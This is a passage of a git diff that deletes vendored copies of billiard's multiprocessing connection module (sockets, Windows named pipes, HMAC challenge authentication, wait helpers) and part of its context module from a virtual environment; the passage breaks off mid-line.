+++ /dev/null @@ -1,1040 +0,0 @@ -# -# A higher level module for using sockets (or Windows named pipes) -# -# multiprocessing/connection.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import errno -import io -import os -import sys -import socket -import select -import struct -import tempfile -import itertools - -from . import reduction -from . import util - -from . import AuthenticationError, BufferTooShort -from ._ext import _billiard -from .compat import setblocking, send_offset -from time import monotonic -from .reduction import ForkingPickler - -try: - from .compat import _winapi -except ImportError: - if sys.platform == 'win32': - raise - _winapi = None -else: - if sys.platform == 'win32': - WAIT_OBJECT_0 = _winapi.WAIT_OBJECT_0 - WAIT_ABANDONED_0 = _winapi.WAIT_ABANDONED_0 - - WAIT_TIMEOUT = _winapi.WAIT_TIMEOUT - INFINITE = _winapi.INFINITE - -__all__ = ['Client', 'Listener', 'Pipe', 'wait'] - -is_pypy = hasattr(sys, 'pypy_version_info') - -# -# -# - -BUFSIZE = 8192 -# A very generous timeout when it comes to local connections... -CONNECTION_TIMEOUT = 20. - -_mmap_counter = itertools.count() - -default_family = 'AF_INET' -families = ['AF_INET'] - -if hasattr(socket, 'AF_UNIX'): - default_family = 'AF_UNIX' - families += ['AF_UNIX'] - -if sys.platform == 'win32': - default_family = 'AF_PIPE' - families += ['AF_PIPE'] - - -def _init_timeout(timeout=CONNECTION_TIMEOUT): - return monotonic() + timeout - - -def _check_timeout(t): - return monotonic() > t - -# -# -# - - -def arbitrary_address(family): - ''' - Return an arbitrary free address for the given family - ''' - if family == 'AF_INET': - return ('localhost', 0) - elif family == 'AF_UNIX': - return tempfile.mktemp(prefix='listener-', dir=util.get_temp_dir()) - elif family == 'AF_PIPE': - return tempfile.mktemp(prefix=r'\\.\pipe\pyc-%d-%d-' % - (os.getpid(), next(_mmap_counter)), dir="") - else: - raise ValueError('unrecognized family') - - -def _validate_family(family): - ''' - Checks if the family is valid for the current environment. - ''' - if sys.platform != 'win32' and family == 'AF_PIPE': - raise ValueError('Family %s is not recognized.' % family) - - if sys.platform == 'win32' and family == 'AF_UNIX': - # double check - if not hasattr(socket, family): - raise ValueError('Family %s is not recognized.' % family) - - -def address_type(address): - ''' - Return the types of the address - - This can be 'AF_INET', 'AF_UNIX', or 'AF_PIPE' - ''' - if type(address) == tuple: - return 'AF_INET' - elif type(address) is str and address.startswith('\\\\'): - return 'AF_PIPE' - elif type(address) is str: - return 'AF_UNIX' - else: - raise ValueError('address type of %r unrecognized' % address) - -# -# Connection classes -# - - -class _SocketContainer: - - def __init__(self, sock): - self.sock = sock - - -class _ConnectionBase: - _handle = None - - def __init__(self, handle, readable=True, writable=True): - if isinstance(handle, _SocketContainer): - self._socket = handle.sock # keep ref so not collected - handle = handle.sock.fileno() - handle = handle.__index__() - if handle < 0: - raise ValueError("invalid handle") - if not readable and not writable: - raise ValueError( - "at least one of `readable` and `writable` must be True") - self._handle = handle - self._readable = readable - self._writable = writable - - # XXX should we use util.Finalize instead of a __del__? - - def __del__(self): - if self._handle is not None: - self._close() - - def _check_closed(self): - if self._handle is None: - raise OSError("handle is closed") - - def _check_readable(self): - if not self._readable: - raise OSError("connection is write-only") - - def _check_writable(self): - if not self._writable: - raise OSError("connection is read-only") - - def _bad_message_length(self): - if self._writable: - self._readable = False - else: - self.close() - raise OSError("bad message length") - - @property - def closed(self): - """True if the connection is closed""" - return self._handle is None - - @property - def readable(self): - """True if the connection is readable""" - return self._readable - - @property - def writable(self): - """True if the connection is writable""" - return self._writable - - def fileno(self): - """File descriptor or handle of the connection""" - self._check_closed() - return self._handle - - def close(self): - """Close the connection""" - if self._handle is not None: - try: - self._close() - finally: - self._handle = None - - def send_bytes(self, buf, offset=0, size=None): - """Send the bytes data from a bytes-like object""" - self._check_closed() - self._check_writable() - m = memoryview(buf) - # HACK for byte-indexing of non-bytewise buffers (e.g. array.array) - if m.itemsize > 1: - m = memoryview(bytes(m)) - n = len(m) - if offset < 0: - raise ValueError("offset is negative") - if n < offset: - raise ValueError("buffer length < offset") - if size is None: - size = n - offset - elif size < 0: - raise ValueError("size is negative") - elif offset + size > n: - raise ValueError("buffer length < offset + size") - self._send_bytes(m[offset:offset + size]) - - def send(self, obj): - """Send a (picklable) object""" - self._check_closed() - self._check_writable() - self._send_bytes(ForkingPickler.dumps(obj)) - - def recv_bytes(self, maxlength=None): - """ - Receive bytes data as a bytes object. - """ - self._check_closed() - self._check_readable() - if maxlength is not None and maxlength < 0: - raise ValueError("negative maxlength") - buf = self._recv_bytes(maxlength) - if buf is None: - self._bad_message_length() - return buf.getvalue() - - def recv_bytes_into(self, buf, offset=0): - """ - Receive bytes data into a writeable bytes-like object. - Return the number of bytes read. - """ - self._check_closed() - self._check_readable() - with memoryview(buf) as m: - # Get bytesize of arbitrary buffer - itemsize = m.itemsize - bytesize = itemsize * len(m) - if offset < 0: - raise ValueError("negative offset") - elif offset > bytesize: - raise ValueError("offset too large") - result = self._recv_bytes() - size = result.tell() - if bytesize < offset + size: - raise BufferTooShort(result.getvalue()) - # Message can fit in dest - result.seek(0) - result.readinto(m[ - offset // itemsize:(offset + size) // itemsize - ]) - return size - - def recv(self): - """Receive a (picklable) object""" - self._check_closed() - self._check_readable() - buf = self._recv_bytes() - return ForkingPickler.loadbuf(buf) - - def poll(self, timeout=0.0): - """Whether there is any input available to be read""" - self._check_closed() - self._check_readable() - return self._poll(timeout) - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_value, exc_tb): - self.close() - - def send_offset(self, buf, offset): - return send_offset(self.fileno(), buf, offset) - - def setblocking(self, blocking): - setblocking(self.fileno(), blocking) - - -if _winapi: - - class PipeConnection(_ConnectionBase): - """ - Connection class based on a Windows named pipe. - Overlapped I/O is used, so the handles must have been created - with FILE_FLAG_OVERLAPPED. - """ - _got_empty_message = False - - def _close(self, _CloseHandle=_winapi.CloseHandle): - _CloseHandle(self._handle) - - def _send_bytes(self, buf): - ov, err = _winapi.WriteFile(self._handle, buf, overlapped=True) - try: - if err == _winapi.ERROR_IO_PENDING: - waitres = _winapi.WaitForMultipleObjects( - - [ov.event], False, INFINITE) - assert waitres == WAIT_OBJECT_0 - except: - ov.cancel() - raise - finally: - nwritten, err = ov.GetOverlappedResult(True) - assert err == 0 - assert nwritten == len(buf) - - def _recv_bytes(self, maxsize=None): - if self._got_empty_message: - self._got_empty_message = False - return io.BytesIO() - else: - bsize = 128 if maxsize is None else min(maxsize, 128) - try: - ov, err = _winapi.ReadFile( - self._handle, bsize, overlapped=True, - ) - result = None - exc_to_raise = None - try: - if err == _winapi.ERROR_IO_PENDING: - waitres = _winapi.WaitForMultipleObjects( - [ov.event], False, INFINITE) - assert waitres == WAIT_OBJECT_0 - except Exception as e: - ov.cancel() - exc_to_raise = e - finally: - nread, err = ov.GetOverlappedResult(True) - if err == 0: - f = io.BytesIO() - f.write(ov.getbuffer()) - result = f - elif err == _winapi.ERROR_MORE_DATA: - result = self._get_more_data(ov, maxsize) - if result is not None: - return result - if exc_to_raise is not None: - raise exc_to_raise - except OSError as e: - if e.winerror == _winapi.ERROR_BROKEN_PIPE: - raise EOFError - else: - raise - raise RuntimeError( - "shouldn't get here; expected KeyboardInterrupt") - - def _poll(self, timeout): - if (self._got_empty_message or - _winapi.PeekNamedPipe(self._handle)[0] != 0): - return True - return bool(wait([self], timeout)) - - def _get_more_data(self, ov, maxsize): - buf = ov.getbuffer() - f = io.BytesIO() - f.write(buf) - left = _winapi.PeekNamedPipe(self._handle)[1] - assert left > 0 - if maxsize is not None and len(buf) + left > maxsize: - self._bad_message_length() - ov, err = _winapi.ReadFile(self._handle, left, overlapped=True) - rbytes, err = ov.GetOverlappedResult(True) - assert err == 0 - assert rbytes == left - f.write(ov.getbuffer()) - return f - - -class Connection(_ConnectionBase): - """ - Connection class based on an arbitrary file descriptor (Unix only), or - a socket handle (Windows). - """ - - if _winapi: - def _close(self, _close=_billiard.closesocket): - _close(self._handle) - _write = _billiard.send - _read = _billiard.recv - else: - def _close(self, _close=os.close): - _close(self._handle) - _write = os.write - _read = os.read - - def _send(self, buf, write=_write): - remaining = len(buf) - while True: - try: - n = write(self._handle, buf) - except (OSError, IOError, socket.error) as exc: - if getattr(exc, 'errno', None) != errno.EINTR: - raise - else: - remaining -= n - if remaining == 0: - break - buf = buf[n:] - - def _recv(self, size, read=_read): - buf = io.BytesIO() - handle = self._handle - remaining = size - while remaining > 0: - try: - chunk = read(handle, remaining) - except (OSError, IOError, socket.error) as exc: - if getattr(exc, 'errno', None) != errno.EINTR: - raise - else: - n = len(chunk) - if n == 0: - if remaining == size: - raise EOFError - else: - raise OSError("got end of file during message") - buf.write(chunk) - remaining -= n - return buf - - def _send_bytes(self, buf, memoryview=memoryview): - n = len(buf) - # For wire compatibility with 3.2 and lower - header = struct.pack("!i", n) - if n > 16384: - # The payload is large so Nagle's algorithm won't be triggered - # and we'd better avoid the cost of concatenation. - self._send(header) - self._send(buf) - else: - # Issue #20540: concatenate before sending, to avoid delays due - # to Nagle's algorithm on a TCP socket. - # Also note we want to avoid sending a 0-length buffer separately, - # to avoid "broken pipe" errors if the other end closed the pipe. - if isinstance(buf, memoryview): - buf = buf.tobytes() - self._send(header + buf) - - def _recv_bytes(self, maxsize=None): - buf = self._recv(4) - size, = struct.unpack("!i", buf.getvalue()) - if maxsize is not None and size > maxsize: - return None - return self._recv(size) - - def _poll(self, timeout): - r = wait([self], timeout) - return bool(r) - - -# -# Public functions -# - -class Listener: - ''' - Returns a listener object. - - This is a wrapper for a bound socket which is 'listening' for - connections, or for a Windows named pipe. - ''' - def __init__(self, address=None, family=None, backlog=1, authkey=None): - family = (family or - (address and address_type(address)) or default_family) - address = address or arbitrary_address(family) - - _validate_family(family) - if family == 'AF_PIPE': - self._listener = PipeListener(address, backlog) - else: - self._listener = SocketListener(address, family, backlog) - - if authkey is not None and not isinstance(authkey, bytes): - raise TypeError('authkey should be a byte string') - - self._authkey = authkey - - def accept(self): - ''' - Accept a connection on the bound socket or named pipe of `self`. - - Returns a `Connection` object. - ''' - if self._listener is None: - raise OSError('listener is closed') - c = self._listener.accept() - if self._authkey: - deliver_challenge(c, self._authkey) - answer_challenge(c, self._authkey) - return c - - def close(self): - ''' - Close the bound socket or named pipe of `self`. - ''' - listener = self._listener - if listener is not None: - self._listener = None - listener.close() - - address = property(lambda self: self._listener._address) - last_accepted = property(lambda self: self._listener._last_accepted) - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_value, exc_tb): - self.close() - - -def Client(address, family=None, authkey=None): - ''' - Returns a connection to the address of a `Listener` - ''' - family = family or address_type(address) - _validate_family(family) - if family == 'AF_PIPE': - c = PipeClient(address) - else: - c = SocketClient(address) - - if authkey is not None and not isinstance(authkey, bytes): - raise TypeError('authkey should be a byte string') - - if authkey is not None: - answer_challenge(c, authkey) - deliver_challenge(c, authkey) - - return c - - -def detach(sock): - if hasattr(sock, 'detach'): - return sock.detach() - # older socket lib does not have detach. We'll keep a reference around - # so that it does not get garbage collected. - return _SocketContainer(sock) - - -if sys.platform != 'win32': - - def Pipe(duplex=True, rnonblock=False, wnonblock=False): - ''' - Returns pair of connection objects at either end of a pipe - ''' - if duplex: - s1, s2 = socket.socketpair() - s1.setblocking(not rnonblock) - s2.setblocking(not wnonblock) - c1 = Connection(detach(s1)) - c2 = Connection(detach(s2)) - else: - fd1, fd2 = os.pipe() - if rnonblock: - setblocking(fd1, 0) - if wnonblock: - setblocking(fd2, 0) - c1 = Connection(fd1, writable=False) - c2 = Connection(fd2, readable=False) - - return c1, c2 - -else: - - def Pipe(duplex=True, rnonblock=False, wnonblock=False): - ''' - Returns pair of connection objects at either end of a pipe - ''' - assert not rnonblock, 'rnonblock not supported on windows' - assert not wnonblock, 'wnonblock not supported on windows' - address = arbitrary_address('AF_PIPE') - if duplex: - openmode = _winapi.PIPE_ACCESS_DUPLEX - access = _winapi.GENERIC_READ | _winapi.GENERIC_WRITE - obsize, ibsize = BUFSIZE, BUFSIZE - else: - openmode = _winapi.PIPE_ACCESS_INBOUND - access = _winapi.GENERIC_WRITE - obsize, ibsize = 0, BUFSIZE - - h1 = _winapi.CreateNamedPipe( - address, openmode | _winapi.FILE_FLAG_OVERLAPPED | - _winapi.FILE_FLAG_FIRST_PIPE_INSTANCE, - _winapi.PIPE_TYPE_MESSAGE | _winapi.PIPE_READMODE_MESSAGE | - _winapi.PIPE_WAIT, - 1, obsize, ibsize, _winapi.NMPWAIT_WAIT_FOREVER, - # default security descriptor: the handle cannot be inherited - _winapi.NULL - ) - h2 = _winapi.CreateFile( - address, access, 0, _winapi.NULL, _winapi.OPEN_EXISTING, - _winapi.FILE_FLAG_OVERLAPPED, _winapi.NULL - ) - _winapi.SetNamedPipeHandleState( - h2, _winapi.PIPE_READMODE_MESSAGE, None, None - ) - - overlapped = _winapi.ConnectNamedPipe(h1, overlapped=True) - _, err = overlapped.GetOverlappedResult(True) - assert err == 0 - - c1 = PipeConnection(h1, writable=duplex) - c2 = PipeConnection(h2, readable=duplex) - - return c1, c2 - -# -# Definitions for connections based on sockets -# - - -class SocketListener: - ''' - Representation of a socket which is bound to an address and listening - ''' - def __init__(self, address, family, backlog=1): - self._socket = socket.socket(getattr(socket, family)) - try: - # SO_REUSEADDR has different semantics on Windows (issue #2550). - if os.name == 'posix': - self._socket.setsockopt(socket.SOL_SOCKET, - socket.SO_REUSEADDR, 1) - self._socket.setblocking(True) - self._socket.bind(address) - self._socket.listen(backlog) - self._address = self._socket.getsockname() - except OSError: - self._socket.close() - raise - self._family = family - self._last_accepted = None - - if family == 'AF_UNIX': - self._unlink = util.Finalize( - self, os.unlink, args=(address,), exitpriority=0 - ) - else: - self._unlink = None - - def accept(self): - while True: - try: - s, self._last_accepted = self._socket.accept() - except (OSError, IOError, socket.error) as exc: - if getattr(exc, 'errno', None) != errno.EINTR: - raise - else: - break - s.setblocking(True) - return Connection(detach(s)) - - def close(self): - try: - self._socket.close() - finally: - unlink = self._unlink - if unlink is not None: - self._unlink = None - unlink() - - -def SocketClient(address): - ''' - Return a connection object connected to the socket given by `address` - ''' - family = address_type(address) - s = socket.socket(getattr(socket, family)) - s.setblocking(True) - s.connect(address) - return Connection(detach(s)) - -# -# Definitions for connections based on named pipes -# - -if sys.platform == 'win32': - - class PipeListener: - ''' - Representation of a named pipe - ''' - def __init__(self, address, backlog=None): - self._address = address - self._handle_queue = [self._new_handle(first=True)] - - self._last_accepted = None - util.sub_debug('listener created with address=%r', self._address) - self.close = util.Finalize( - self, PipeListener._finalize_pipe_listener, - args=(self._handle_queue, self._address), exitpriority=0 - ) - - def _new_handle(self, first=False): - flags = _winapi.PIPE_ACCESS_DUPLEX | _winapi.FILE_FLAG_OVERLAPPED - if first: - flags |= _winapi.FILE_FLAG_FIRST_PIPE_INSTANCE - return _winapi.CreateNamedPipe( - self._address, flags, - _winapi.PIPE_TYPE_MESSAGE | _winapi.PIPE_READMODE_MESSAGE | - _winapi.PIPE_WAIT, - _winapi.PIPE_UNLIMITED_INSTANCES, BUFSIZE, BUFSIZE, - _winapi.NMPWAIT_WAIT_FOREVER, _winapi.NULL - ) - - def accept(self): - self._handle_queue.append(self._new_handle()) - handle = self._handle_queue.pop(0) - try: - ov = _winapi.ConnectNamedPipe(handle, overlapped=True) - except OSError as e: - if e.winerror != _winapi.ERROR_NO_DATA: - raise - # ERROR_NO_DATA can occur if a client has already connected, - # written data and then disconnected -- see Issue 14725. - else: - try: - _winapi.WaitForMultipleObjects( - [ov.event], False, INFINITE) - except: - ov.cancel() - _winapi.CloseHandle(handle) - raise - finally: - _, err = ov.GetOverlappedResult(True) - assert err == 0 - return PipeConnection(handle) - - @staticmethod - def _finalize_pipe_listener(queue, address): - util.sub_debug('closing listener with address=%r', address) - for handle in queue: - _winapi.CloseHandle(handle) - - def PipeClient(address, _ignore=(_winapi.ERROR_SEM_TIMEOUT, - _winapi.ERROR_PIPE_BUSY)): - ''' - Return a connection object connected to the pipe given by `address` - ''' - t = _init_timeout() - while 1: - try: - _winapi.WaitNamedPipe(address, 1000) - h = _winapi.CreateFile( - address, _winapi.GENERIC_READ | _winapi.GENERIC_WRITE, - 0, _winapi.NULL, _winapi.OPEN_EXISTING, - _winapi.FILE_FLAG_OVERLAPPED, _winapi.NULL - ) - except OSError as e: - if e.winerror not in _ignore or _check_timeout(t): - raise - else: - break - else: - raise - - _winapi.SetNamedPipeHandleState( - h, _winapi.PIPE_READMODE_MESSAGE, None, None - ) - return PipeConnection(h) - -# -# Authentication stuff -# - -MESSAGE_LENGTH = 20 - -CHALLENGE = b'#CHALLENGE#' -WELCOME = b'#WELCOME#' -FAILURE = b'#FAILURE#' - - -def deliver_challenge(connection, authkey): - import hmac - assert isinstance(authkey, bytes) - message = os.urandom(MESSAGE_LENGTH) - connection.send_bytes(CHALLENGE + message) - digest = hmac.new(authkey, message, 'md5').digest() - response = connection.recv_bytes(256) # reject large message - if response == digest: - connection.send_bytes(WELCOME) - else: - connection.send_bytes(FAILURE) - raise AuthenticationError('digest received was wrong') - - -def answer_challenge(connection, authkey): - import hmac - assert isinstance(authkey, bytes) - message = connection.recv_bytes(256) # reject large message - assert message[:len(CHALLENGE)] == CHALLENGE, 'message = %r' % message - message = message[len(CHALLENGE):] - digest = hmac.new(authkey, message, 'md5').digest() - connection.send_bytes(digest) - response = connection.recv_bytes(256) # reject large message - if response != WELCOME: - raise AuthenticationError('digest sent was rejected') - -# -# Support for using xmlrpclib for serialization -# - - -class ConnectionWrapper: - - def __init__(self, conn, dumps, loads): - self._conn = conn - self._dumps = dumps - self._loads = loads - for attr in ('fileno', 'close', 'poll', 'recv_bytes', 'send_bytes'): - obj = getattr(conn, attr) - setattr(self, attr, obj) - - def send(self, obj): - s = self._dumps(obj) - self._conn.send_bytes(s) - - def recv(self): - s = self._conn.recv_bytes() - return self._loads(s) - - -def _xml_dumps(obj): - o = xmlrpclib.dumps((obj, ), None, None, None, 1) # noqa - return o.encode('utf-8') - - -def _xml_loads(s): - (obj,), method = xmlrpclib.loads(s.decode('utf-8')) # noqa - return obj - - -class XmlListener(Listener): - - def accept(self): - global xmlrpclib - import xmlrpc.client as xmlrpclib # noqa - obj = Listener.accept(self) - return ConnectionWrapper(obj, _xml_dumps, _xml_loads) - - -def XmlClient(*args, **kwds): - global xmlrpclib - import xmlrpc.client as xmlrpclib # noqa - return ConnectionWrapper(Client(*args, **kwds), _xml_dumps, _xml_loads) - -# -# Wait -# - -if sys.platform == 'win32': - - def _exhaustive_wait(handles, timeout): - # Return ALL handles which are currently signaled. (Only - # returning the first signaled might create starvation issues.) - L = list(handles) - ready = [] - while L: - res = _winapi.WaitForMultipleObjects(L, False, timeout) - if res == WAIT_TIMEOUT: - break - elif WAIT_OBJECT_0 <= res < WAIT_OBJECT_0 + len(L): - res -= WAIT_OBJECT_0 - elif WAIT_ABANDONED_0 <= res < WAIT_ABANDONED_0 + len(L): - res -= WAIT_ABANDONED_0 - else: - raise RuntimeError('Should not get here') - ready.append(L[res]) - L = L[res + 1:] - timeout = 0 - return ready - - _ready_errors = {_winapi.ERROR_BROKEN_PIPE, _winapi.ERROR_NETNAME_DELETED} - - def wait(object_list, timeout=None): - ''' - Wait till an object in object_list is ready/readable. - - Returns list of those objects in object_list which are ready/readable. - ''' - if timeout is None: - timeout = INFINITE - elif timeout < 0: - timeout = 0 - else: - timeout = int(timeout * 1000 + 0.5) - - object_list = list(object_list) - waithandle_to_obj = {} - ov_list = [] - ready_objects = set() - ready_handles = set() - - try: - for o in object_list: - try: - fileno = getattr(o, 'fileno') - except AttributeError: - waithandle_to_obj[o.__index__()] = o - else: - # start an overlapped read of length zero - try: - ov, err = _winapi.ReadFile(fileno(), 0, True) - except OSError as e: - err = e.winerror - if err not in _ready_errors: - raise - if err == _winapi.ERROR_IO_PENDING: - ov_list.append(ov) - waithandle_to_obj[ov.event] = o - else: - # If o.fileno() is an overlapped pipe handle and - # err == 0 then there is a zero length message - # in the pipe, but it HAS NOT been consumed. - ready_objects.add(o) - timeout = 0 - - ready_handles = _exhaustive_wait(waithandle_to_obj.keys(), timeout) - finally: - # request that overlapped reads stop - for ov in ov_list: - ov.cancel() - - # wait for all overlapped reads to stop - for ov in ov_list: - try: - _, err = ov.GetOverlappedResult(True) - except OSError as e: - err = e.winerror - if err not in _ready_errors: - raise - if err != _winapi.ERROR_OPERATION_ABORTED: - o = waithandle_to_obj[ov.event] - ready_objects.add(o) - if err == 0: - # If o.fileno() is an overlapped pipe handle then - # a zero length message HAS been consumed. - if hasattr(o, '_got_empty_message'): - o._got_empty_message = True - - ready_objects.update(waithandle_to_obj[h] for h in ready_handles) - return [p for p in object_list if p in ready_objects] - -else: - - if hasattr(select, 'poll'): - def _poll(fds, timeout): - if timeout is not None: - timeout = int(timeout * 1000) # timeout is in milliseconds - fd_map = {} - pollster = select.poll() - for fd in fds: - pollster.register(fd, select.POLLIN) - if hasattr(fd, 'fileno'): - fd_map[fd.fileno()] = fd - else: - fd_map[fd] = fd - ls = [] - for fd, event in pollster.poll(timeout): - if event & select.POLLNVAL: - raise ValueError('invalid file descriptor %i' % fd) - ls.append(fd_map[fd]) - return ls - else: - def _poll(fds, timeout): # noqa - return select.select(fds, [], [], timeout)[0] - - def wait(object_list, timeout=None): # noqa - ''' - Wait till an object in object_list is ready/readable. - - Returns list of those objects in object_list which are ready/readable. - ''' - if timeout is not None: - if timeout <= 0: - return _poll(object_list, 0) - else: - deadline = monotonic() + timeout - while True: - try: - return _poll(object_list, timeout) - except (OSError, IOError, socket.error) as e: - if e.errno != errno.EINTR: - raise - if timeout is not None: - timeout = deadline - monotonic() - -# -# Make connection and socket objects shareable if possible -# - -if sys.platform == 'win32': - def reduce_connection(conn): - handle = conn.fileno() - with socket.fromfd(handle, socket.AF_INET, socket.SOCK_STREAM) as s: - from . import resource_sharer - ds = resource_sharer.DupSocket(s) - return rebuild_connection, (ds, conn.readable, conn.writable) - - def rebuild_connection(ds, readable, writable): - sock = ds.detach() - return Connection(detach(sock), readable, writable) - reduction.register(Connection, reduce_connection) - - def reduce_pipe_connection(conn): - access = ((_winapi.FILE_GENERIC_READ if conn.readable else 0) | - (_winapi.FILE_GENERIC_WRITE if conn.writable else 0)) - dh = reduction.DupHandle(conn.fileno(), access) - return rebuild_pipe_connection, (dh, conn.readable, conn.writable) - - def rebuild_pipe_connection(dh, readable, writable): - return PipeConnection(detach(dh), readable, writable) - reduction.register(PipeConnection, reduce_pipe_connection) - -else: - def reduce_connection(conn): - df = reduction.DupFd(conn.fileno()) - return rebuild_connection, (df, conn.readable, conn.writable) - - def rebuild_connection(df, readable, writable): - return Connection(detach(df), readable, writable) - reduction.register(Connection, reduce_connection) diff --git a/venv/Lib/site-packages/billiard/context.py b/venv/Lib/site-packages/billiard/context.py deleted file mode 100644 index 5bbc8352e7c9e0d5e4879a8a44e406bb1564726a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/context.py +++ /dev/null @@ -1,420 +0,0 @@ -import os -import sys -import threading -import warnings - -from . import process - -__all__ = [] # things are copied from here to __init__.py - - -W_NO_EXECV = """\ -force_execv is not supported as the billiard C extension \ -is not installed\ -""" - - -# -# Exceptions -# - -from .exceptions import ( # noqa - ProcessError, - BufferTooShort, - TimeoutError, - AuthenticationError, - TimeLimitExceeded, - SoftTimeLimitExceeded, - WorkerLostError, -) - - -# -# Base type for contexts -# - -class BaseContext: - - ProcessError = ProcessError - BufferTooShort = BufferTooShort - TimeoutError = TimeoutError - AuthenticationError = AuthenticationError - TimeLimitExceeded = TimeLimitExceeded - SoftTimeLimitExceeded = SoftTimeLimitExceeded - WorkerLostError = WorkerLostError - - current_process = staticmethod(process.current_process) - active_children = staticmethod(process.active_children) - - if hasattr(os, 'cpu_count'): - def cpu_count(self): - '''Returns the number of CPUs in the system''' - num = os.cpu_count() - if num is None: - raise NotImplementedError('cannot determine number of cpus') - else: - return num - else: - def cpu_count(self): # noqa - if sys.platform == 'win32': - try: - num = int(os.environ['NUMBER_OF_PROCESSORS']) - except (ValueError, KeyError): - num = 0 - elif 'bsd' in sys.platform or sys.platform == 'darwin': - comm = '/sbin/sysctl -n hw.ncpu' - if sys.platform == 'darwin': - comm = '/usr' + comm - try: - with os.popen(comm) as p: - num = int(p.read()) - except ValueError: - num = 0 - else: - try: - num = os.sysconf('SC_NPROCESSORS_ONLN') - except (ValueError, OSError, AttributeError): - num = 0 - - if num >= 1: - return num - else: - raise NotImplementedError('cannot determine number of cpus') - - def Manager(self): - '''Returns a manager associated with a running server process - - The managers methods such as `Lock()`, `Condition()` and `Queue()` - can be used to create shared objects. - ''' - from .managers import SyncManager - m = SyncManager(ctx=self.get_context()) - m.start() - return m - - def Pipe(self, duplex=True, rnonblock=False, wnonblock=False): - '''Returns two connection object connected by a pipe''' - from .connection import Pipe - return Pipe(duplex, rnonblock, wnonblock) - - def Lock(self): - '''Returns a non-recursive lock object''' - from .synchronize import Lock - return Lock(ctx=self.get_context()) - - def RLock(self): - '''Returns a recursive lock object''' - from .synchronize import RLock - return RLock(ctx=self.get_context()) - - def Condition(self, lock=None): - '''Returns a condition object''' - from .synchronize import Condition - return Condition(lock, ctx=self.get_context()) - - def Semaphore(self, value=1): - '''Returns a semaphore object''' - from .synchronize import Semaphore - return Semaphore(value, ctx=self.get_context()) - - def BoundedSemaphore(self, value=1): - '''Returns a bounded semaphore object''' - from .synchronize import BoundedSemaphore - return BoundedSemaphore(value, ctx=self.get_context()) - - def Event(self): - '''Returns an event object''' - from .synchronize import Event - return Event(ctx=self.get_context()) - - def Barrier(self, parties, action=None, timeout=None): - '''Returns a barrier object''' - from .synchronize import Barrier - return Barrier(parties, action, timeout, ctx=self.get_context()) - - def Queue(self, maxsize=0): - '''Returns a queue object''' - from .queues import Queue - return Queue(maxsize, ctx=self.get_context()) - - def JoinableQueue(self, maxsize=0): - '''Returns a queue object''' - from .queues import JoinableQueue - return JoinableQueue(maxsize, ctx=self.get_context()) - - def SimpleQueue(self): - '''Returns a queue object''' - from .queues import SimpleQueue - return SimpleQueue(ctx=self.get_context()) - - def Pool(self, processes=None, initializer=None, initargs=(), - maxtasksperchild=None, timeout=None, soft_timeout=None, - lost_worker_timeout=None, max_restarts=None, - max_restart_freq=1, on_process_up=None, on_process_down=None, - on_timeout_set=None, on_timeout_cancel=None, threads=True, - semaphore=None, putlocks=False, allow_restart=False): - '''Returns a process pool object''' - from .pool import Pool - return Pool(processes, initializer, initargs, maxtasksperchild, - timeout, soft_timeout, lost_worker_timeout, - max_restarts, max_restart_freq, on_process_up, - on_process_down, on_timeout_set, on_timeout_cancel, - threads, semaphore, putlocks, allow_restart, - context=self.get_context()) - - def RawValue(self, typecode_or_type, *args): - '''Returns a shared object''' - from .sharedctypes import RawValue - return RawValue(typecode_or_type, *args) - - def RawArray(self, typecode_or_type, size_or_initializer): - '''Returns a shared array''' - from .sharedctypes import RawArray - return RawArray(typecode_or_type, size_or_initializer) - - def Value(self, typecode_or_type, *args, **kwargs): - '''Returns a synchronized shared object''' - from .sharedctypes import Value - lock = kwargs.get('lock', True) - return Value(typecode_or_type, *args, lock=lock, - ctx=self.get_context()) - - def Array(self, typecode_or_type, size_or_initializer, *args, **kwargs): - '''Returns a synchronized shared array''' - from .sharedctypes import Array - lock = kwargs.get('lock', True) - return Array(typecode_or_type, size_or_initializer, lock=lock, - ctx=self.get_context()) - - def freeze_support(self): - '''Check whether this is a fake forked process in a frozen executable. - If so then run code specified by commandline and exit. - ''' - if sys.platform == 'win32' and getattr(sys, 'frozen', False): - from .spawn import freeze_support - freeze_support() - - def get_logger(self): - '''Return package logger -- if it does not already exist then - it is created. - ''' - from .util import get_logger - return get_logger() - - def log_to_stderr(self, level=None): - '''Turn on logging and add a handler which prints to stderr''' - from .util import log_to_stderr - return log_to_stderr(level) - - def allow_connection_pickling(self): - '''Install support for sending connections and sockets - between processes - ''' - # This is undocumented. In previous versions of multiprocessing - # its only effect was to make socket objects inheritable on Windows. - from . import connection # noqa - - def set_executable(self, executable): - '''Sets the path to a python.exe or pythonw.exe binary used to run - child processes instead of sys.executable when using the 'spawn' - start method. Useful for people embedding Python. - ''' - from .spawn import set_executable - set_executable(executable) - - def set_forkserver_preload(self, module_names): - '''Set list of module names to try to load in forkserver process. - This is really just a hint. - ''' - from .forkserver import set_forkserver_preload - set_forkserver_preload(module_names) - - def get_context(self, method=None): - if method is None: - return self - try: - ctx = _concrete_contexts[method] - except KeyError: - raise ValueError('cannot find context for %r' % method) - ctx._check_available() - return ctx - - def get_start_method(self, allow_none=False): - return self._name - - def set_start_method(self, method=None): - raise ValueError('cannot set start method of concrete context') - - def forking_is_enabled(self): - # XXX for compatibility with billiard <3.4 - return (self.get_start_method() or 'fork') == 'fork' - - def forking_enable(self, value): - # XXX for compatibility with billiard <3.4 - if not value: - from ._ext import supports_exec - if supports_exec: - self.set_start_method('spawn', force=True) - else: - warnings.warn(RuntimeWarning(W_NO_EXECV)) - - def _check_available(self): - pass - -# -# Type of default context -- underlying context can be set at most once -# - - -class Process(process.BaseProcess): - _start_method = None - - @staticmethod - def _Popen(process_obj): - return _default_context.get_context().Process._Popen(process_obj) - - -class DefaultContext(BaseContext): - Process = Process - - def __init__(self, context): - self._default_context = context - self._actual_context = None - - def get_context(self, method=None): - if method is None: - if self._actual_context is None: - self._actual_context = self._default_context - return self._actual_context - else: - return super(DefaultContext, self).get_context(method) - - def set_start_method(self, method, force=False): - if self._actual_context is not None and not force: - raise RuntimeError('context has already been set') - if method is None and force: - self._actual_context = None - return - self._actual_context = self.get_context(method) - - def get_start_method(self, allow_none=False): - if self._actual_context is None: - if allow_none: - return None - self._actual_context = self._default_context - return self._actual_context._name - - def get_all_start_methods(self): - if sys.platform == 